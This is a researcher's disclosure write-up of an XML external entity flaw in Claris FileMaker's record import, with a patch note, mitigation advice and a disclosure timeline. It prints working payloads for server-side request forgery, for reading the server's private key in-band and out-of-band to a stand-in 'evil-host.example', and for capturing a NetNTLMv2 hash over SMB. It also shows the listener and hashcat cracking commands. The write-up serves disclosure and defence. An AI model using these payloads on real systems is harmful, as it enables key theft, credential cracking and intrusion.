CVE-2021-44147: XML External Entity Vulnerability in Claris FileMaker
A couple of months ago I looked more deeply into the “Import Records” functionality in FileMaker, especially the XML parsing, and was wondering if any XXE vulnerability may exist and how one could exploit this in technically interesting ways.
The vulnerability is/was indeed there and can lead to local file disclosure and server side request forgery in various components of the FileMaker platform. The following is a description of the vulnerability including potential exploitation paths.
If you’re running FileMaker Server, make sure to install patch 19.4.1 to mitigate this attack vector. The issue was privately disclosed to Claris, Inc. and this write-up was only released after a patch was available (see timeline below).
The XML parser used to parse XML files (including XLSX) during import (“Import Records” action) does not prevent the use of external entities which allows an attacker to perform HTTP requests to arbitrary hosts, including internal ones, and in addition allows reading and exfiltrating the contents of arbitrary files, given they can be transported via a HTTP GET or included within a XML document without further encoding. When the FileMaker Server is runnning under a custom Windows user, it is also possible to utilize UNC paths in external entities, make the user connect to a share and through that steal and potentially crack the NetNTLMv2 hash to reveal the user’s password.
The proof-of-concepts below demonstrate this with a fmp12 file hosted via WebDirect. In the first example we will make a request to a private host by uploading a crafted XLSX file. In the second and third example, we will steal the private key of the FileMaker Server in-band and out-of-band, respectively. In the last example, we eventually explore the scenario where we initiate a SMB connection to capture the NetNTLMv2 hash.
Note that these techniques could also be used in phishing scenarios in which a user is tricked into uploading a XML/Excel file for further processing (e.g. an order document) or even just opens a snapshot link file for which FileMaker Pro is usually set as the default application.
To get an easy overview I also demonstrate the mentioned four potential attack vectors in a video embedded below.
What makes all this possible is the behavior of a non-hardened or insufficiently configured XML parser which allows for so called “XML external entity attacks” (XXE). This essentially means that it does allow using external entities and (for some attacks necessary) external DTDs.
In an XXE attack you give an application XML input to parse which includes references to external objects (e.g. a local or remote file, a resource accessible via HTTP, FTP or other protocols). How these resources are accessed depends on the implementation. But the author of an XML file can generally just provide the scheme (like
http://) in the resource URI and then see what the parser/the included libraries do with it.
Let’s first have a look at XML entities in general.
XML entities can be declared in the (internal or external) DTD (subset) and reference both internal data (like a constant value you would like to reference multiple times in your document) or external data (like a local or remote file, a web resource, etc., described as a URI). In addition to your own declared entities there are also predefined ones that are helpful for example when wanting to use characters in your documents that would otherwise have meaning to the XML parser (e.g. a
< character, which could be represented as
We can use regular internal entities for internal data and external entities for external data. A third kind of entity are Parameter Entities, which allow us to reference entities within other entities – exactly what we will need later on to make the out-of-band data exfiltration work.
Entity, entity, entity… Let’s see some examples:
<!ENTITY myinternal "some value">
Using this entity with the name of “myinternal” inside your document would lead to a replacement/expansion of
&myinternal; to “some value” (like a macro).
<!ENTITY myexternal SYSTEM "file:///etc/passwd">
Using this entity with the name of “myexternal” inside your document would lead to a replacement/expansion of
&myexternal; with the contents of
/etc/passwd. Since you specify a URI, you can use other schemes to indicate other protocols, like
ftp://, or even
gopher://, depending on what is supported by the library making the requests (in the examples below I only use file and http, since these were the ones I found to be supported by FM(S)).
In case the FileMaker solution you are targeting shows you the result of the import (i.e. the imported records or the import mapping dialog), this type of entity is enough to read files in-band (vs. out-of-band with Parameter Entities).
The declaration of Parameter Entities looks almost the same, except that we need to add a percent sign before the name. This is also true when referencing them later, as in
%myparameter; (only allowed within (!) the internal or external DTD).
<!ENTITY % myparameter SYSTEM "file:///etc/passwd">
As mentioned in the beginning, Parameter Entities are also allowed to be used within the replacement text of other entities, so constructs like this become possible.
<!ENTITY % secret SYSTEM "file:///secret.txt"> <!ENTITY % evalme '<!ENTITY % exfiltrate SYSTEM "http://evil-host.example/%secret;">'>
Here, when using the
%exfiltrate; entity, we would send the contents of
secret.txt while making the request to
evil-host.example. The evil host could decide how to respond to the request after capturing the data. Even if a 404 error is returned and the parsing of the original XML document fails, the damage of data exfiltration would have already been done.
% here is a character entity referring to the hex value 25, which stands for the percent sign in ASCII.
Note that for the parser to actually expand
evalme (such that
exfiltrate is defined and tries to load the resource with
secret as path), we would need to reference it in the DTD, like so:
Another important thing to note is that for this to work, the parameter entity reference within another declaration (as in
evalme) must not occur in the internal DTD but in an external one that we can reference via a (parameter or general) entity as well. For example like follows (in the original XML document’s internal DTD):
<!ENTITY % xxe SYSTEM "http://evil-host.example/malicious.dtd"> %xxe; %evalme; %exfiltrate;
More info on XML entities can be found here: https://www.xml.com/pub/a/98/08/xmlqna0.html
What about XLSX?
In the beginning I mentioned that XLSX imports are affected as well. This is because XLSX documents are essentially zip files containing XML files. Adding a DTD to one of the XML files being parsed on import has the same effect as doing it in a XML file which is imported on its own.
A sample XLSX file structure:
├── [Content_Types].xml ├── _rels ├── docProps │ ├── app.xml │ ├── core.xml │ └── thumbnail.jpeg └── xl ├── _rels │ └── workbook.xml.rels ├── sharedStrings.xml ├── styles.xml ├── theme │ └── theme1.xml ├── workbook.xml └── worksheets └── sheet1.xml
In my demonstration I chose to modify
Note that XLSX is especially interesting as it is supported in WebDirect and is thus more likely to be available to the public via the internet.
Setup to reproduce the attack
For the examples below I use the following setup:
- Latest FMS19 (19.3.2) on latest Windows Server 2016 or 2019
- WebDirect enabled so that files can be served via HTTP (not required if you want to test with native clients or server only)
- A hosted custom app that shows the default toolbars or any custom button offering an
Import Recordsscript step, and allows importing of records (e.g. the default
Data Entry Onlyprivilege set).
Using this setup, you can choose
Import Records from the toolbar menu or click on the custom button and upload a crafted malicious XLSX file.
Note that this vulnerability is not specific to WebDirect, but WebDirect is used for demonstration as it is most likely the component that is publicly available on the internet. Performing
Import Records with the same XLSX or XML file in a FM native client in a local or hosted environment has the same effect.
Also note that the account an attacker uses must allow
Import Records (as in the default
Data Entry Only privilege set). The account could be chosen explicitly (as in a login) or implicitly used when auto-login is enabled (as is common in public apps that handle their own authentication (which may have additional issues) or don’t have authentication at all).
The default example file
FMServer_Sample.fmp12 is not vulnerable as it uses the
Guest privilege set which is read-only and thus does not allow importing of records.
Making an internal request (Server Side Request Forgery)
Let’s make the server do a request of our choosing. We create a new XLSX document,
malicious.xlsx, unzip it, make a modification to
sharedStrings.xml and then zip it up again.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE sst [ <!ENTITY req SYSTEM "http://127.0.0.1:1234/myinternalservice"> ]> <sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>Hello &req;</t></si></sst>
Before uploading the file via WebDirect, we start a local listener to simulate a service running on localhost or another host on the internal or external network. A quick way to do this is to use Powercat in PowerShell:
. .\powercat.ps1 powercat -l -p 1234
After choosing and submitting
malicious.xlsx in the Import Records dialog, we will see the request hitting our service.
We could also exfiltrate the response of the internal service back to us (which is likely more valuable), e.g. when querying some metadata service that could reveal sensitive information (see “Stealing a file out-of-band” below – same technique).
Stealing a file in-band
If the result of the import is visible to the user or we get an import mapping dialog, we can exilftrate file contents in-band.
We modify our malicious.xlsx and add the following to the
<!DOCTYPE sst [ <!ENTITY file SYSTEM "file:///c:/PROGRA~1/FileMaker/FILEMA~1/CStore/serverKey.pem"> ]> <sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>&file;</t></si></sst>
We are using short names in the path to prevent using spaces (as in “FileMaker Server”). You can find the shortnames using
malicious.xlsx file, we can now see the result of the serverKey.pem (either in the import mapping dialog or in a field of the current foundset of imported records).
Stealing a file out-of-band
When the result of the import is not available, we can attempt to get the contents of a file out-of-band, using another HTTP request to a server under our control.
For this, we modify
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE sst [ <!ENTITY % dtd SYSTEM "http://evil-host.example/malicious.dtd"> %dtd; %evalme; %exfiltrate; ]> <sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>Hello</t></si></sst>
And in our
<!ENTITY % file SYSTEM "file:///c:/PROGRA~1/FileMaker/FILEMA~1/CStore/serverKey.pem"> <!ENTITY % evalme '<!ENTITY % exfiltrate SYSTEM "http://evil-host.example:8000/%file;">'>
Since we now send the file contents to our server, we need to have some kind of listener running. For this example, we could use a simple netcat listener:
nc -lvnkp 8000
Stealing the server user’s hash and trying to crack it
In case FileMaker Server is running under a custom Windows user and SMB egress traffic is not blocked, we can attempt to steal the NetNTLMv2 hash of this user. This is possible because we can give an external entity a UNC path to connect to a SMB server under our control. We can give the user a login challenge and receive its hash, then try to crack it:
Again, in our
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE sst [ <!ENTITY connect SYSTEM "file:////evil-host.example/TMP/whatever"> ]> <sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>&connect;</t></si></sst>
To start a SMB server, we can use Impacket’s
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support TMP $(pwd)
malicious.xlsx we now get a connect back and retrieve the NetNTLMv2 hash:
If it’s a weak password, we might also be able to crack it. For example with Hashcat:
hashcat -m 5600 hash ~/wordlists/super-duper-wordlist.txt [...] CUSTOM::WIN-ECLLFT4DU92:aaaaaaaaaaaaaaaa:ba97ec5447d22506cc9d986d3e6c0e96:0101000000000000808821707f9e...:password123! Session..........: hashcat Status...........: Cracked Hash.Name........: NetNTLMv2 Hash.Target......: CUSTOM::WIN-ECLLFT4DU92:aaaaaaaaaaaaaaaa:ba97ec5447...000000 [...]
Video about potential exploitation
Below is a video going through the examples:
I mostly tested on Windows Server 2016 and 2019 and FileMaker Server/Pro 19.3.2. However, I am pretty certain that earlier versions are affected as well. On macOS requests and in-band exfiltration worked as well, however, using external parameter entities within other entities (for out-of-band exfiltration) threw some NetAccessor errors. This is likely related to the options used in building libxerces-c (which FM likely uses for parsing XML), but I did not spend any further time investigating this / trying to make it work.
I suspect Claris’ FileMaker Cloud service is affected as well, but I did not test this as I am not aware of any public policy regarding authorization to test their services.
Also note that the same XML parser is used for processing “snapshot links” (which are XML files as well;
*.fmpsl), which could come in handy when executing phishing attacks.
Please patch your FMS and FMP clients to version 19.4.1. If you cannot, there’s unfortunately not too much you can do to reliably prevent these attacks and keep the functionality.
Since you will unlikely patch FM binaries yourself, one option is to detect/block XXE payloads before they even reach your FMS (using a WAF, which could still be bypassable, and also doesn’t help when you don’t use the web but native clients).
To protect against the exfiltration part, you could filter/lock-down egress traffic. If your server is not allowed to talk to external hosts or only to specific hosts with specific protocols then the above technique will likely fail (there’s always the possibility you miss something and exfiltration becomes possible again via a different protocol, an open redirect on an allowed host, or something else, but it is another hurdle). Note that in-band exfiltration would still remain possible (if the mapping dialog or import result is shown).
Lastly, you could of course also easily restrict access to the feature itself in your custom solution, i.e. not allow any imports.
Client-wise you would still need to update to prevent the “double-click” or “open with” phishing scenario (as the fmpsl or xlsx is processed independent of your solution).
- 2021-09-01: I reported to
- 2021-09-08: Due to no response, I followed up again to same email address and asked for acknowledgement of receipt; got acknowledged same day
- 2021-09-19: Claris asked for sample exploit files to validate their solution; I provided two samples same day
- 2021-11-04: I followed up again asking for status of fix; got response same day that fix is ready but pre-announcements of a release cannot be made
- 2021-11-16: Claris released patch. Please note that the issue is only mentioned in the release notes for the client, not for the server. However, the server update does include the fix.
- 2021-11-18: I released this write-up; you can glean from the official client (!) release notes what was patched and having more detailed information available is generally better to validate that your environment is properly protected.
Like to comment? Feel free to send me an email or reach out on Twitter.
Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.